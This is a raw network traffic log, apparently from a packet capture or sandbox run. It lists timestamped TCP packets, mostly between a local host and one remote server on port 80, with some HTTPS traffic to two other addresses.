Nov 26, 2024 16:31:20.002007961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002012014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002018929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002027035 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002042055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002053976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002057076 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002057076 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002065897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002069950 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002073050 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002080917 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002089977 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002105951 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002106905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002114058 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002121925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002135038 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002160072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002162933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002168894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002175093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002204895 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002207994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002222061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002243996 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002243996 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002257109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002273083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002291918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002295971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002306938 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002329111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002332926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002341032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002351999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002358913 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002362967 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002379894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002391100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002402067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002413034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002432108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002484083 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002502918 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002538919 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002547026 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002559900 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002580881 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002619982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002633095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002644062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002645969 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002649069 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002655983 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002660036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002660990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002660990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002662897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002672911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002676964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002687931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002695084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002700090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002707005 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002715111 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002722979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002724886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002727985 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002729893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002732992 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002734900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002738953 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002742052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002753019 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002764940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002773046 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002773046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002778053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002787113 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002794981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002804995 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002804995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002808094 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.002830982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002923012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002934933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002959013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002962112 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002971888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002990007 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.002994061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003000021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003010035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003034115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003046036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003056049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003058910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003072023 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003082991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003094912 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003098011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003107071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003118992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.003124952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003144026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.003160000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.005321026 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.005377054 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.009273052 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.009278059 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.009501934 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.009510040 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.129674911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.129726887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.135170937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.135183096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.135237932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.137018919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.137032032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.137063026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.137078047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.138935089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.138947010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.138986111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.139000893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.142951012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.142972946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.143014908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.143014908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.146754026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.146775007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.146826982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.146826982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.149477959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.149491072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.149525881 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.149538994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.151675940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.151688099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.151726961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.156212091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.156225920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.156272888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.158492088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.158535004 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.160326958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.160346985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.160373926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.160387993 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.162484884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.162497997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.162520885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.162535906 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.164913893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.164927006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.164938927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.164963007 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.164987087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.169447899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.169498920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.171638966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.171652079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.171694040 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.173887014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.173898935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.173934937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.173948050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.176014900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.176031113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.176040888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.176063061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.176075935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.179949045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.179960966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.180011034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.182877064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.182921886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.183053017 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.183094978 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.183126926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.183137894 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.183166027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.183178902 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.185131073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.185143948 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.185199976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.187283993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.187310934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.187330961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.187352896 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.188935995 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.189069033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.189111948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.189536095 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.189577103 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.190207958 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.190223932 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.192928076 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.193347931 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.193361998 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.193770885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.193806887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.193819046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.193845034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.193933010 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.193937063 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.196280956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.196290970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.196331978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.198663950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.198676109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.198719978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.200006962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.200017929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.200052023 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.203548908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.203562021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.203593969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.203607082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.205774069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.205821991 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.206016064 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.206099987 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.206108093 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.206131935 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.206159115 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.206186056 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.207740068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.207786083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.209446907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.209459066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.209500074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.211405993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.211420059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.211430073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.211453915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.211476088 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.213484049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.213496923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.213535070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.215774059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.215795994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.215817928 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.215830088 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.219325066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.219372988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.221143961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.221191883 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.222981930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.222999096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.223031044 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.223051071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.225013018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.225055933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.225059986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.225097895 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.226946115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.226958990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.227004051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.228863001 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.228909016 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.230597019 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.230644941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.232511044 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.232522964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.232566118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.234298944 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.234311104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.234347105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.234359980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.236342907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.236355066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.236383915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.236397028 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.238328934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.238343000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.238392115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.242580891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.242595911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.242624998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.242638111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.246570110 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.246582985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.246622086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.246634960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.248601913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.248614073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.248624086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.248651028 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.248687029 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.250797033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.250840902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.252847910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.252861023 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.252898932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.254903078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.254920959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.254950047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.254961967 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.257024050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.257035971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.257077932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.259694099 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.259711981 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.259773016 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.259783983 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.259825945 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.262605906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.262650967 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.264492989 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.264540911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.266169071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.266181946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.266212940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.266247034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.267898083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.267910957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.267949104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.267956018 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.267990112 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.269784927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.269795895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.269836903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.271759033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.271806002 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.273855925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.273900032 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.275928020 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.275954962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.275976896 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.275999069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.278140068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.278152943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.278192043 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.280128956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.280177116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.282325029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.282376051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.284440041 CET	80	49720	185.215.113.206	192.168.2.6
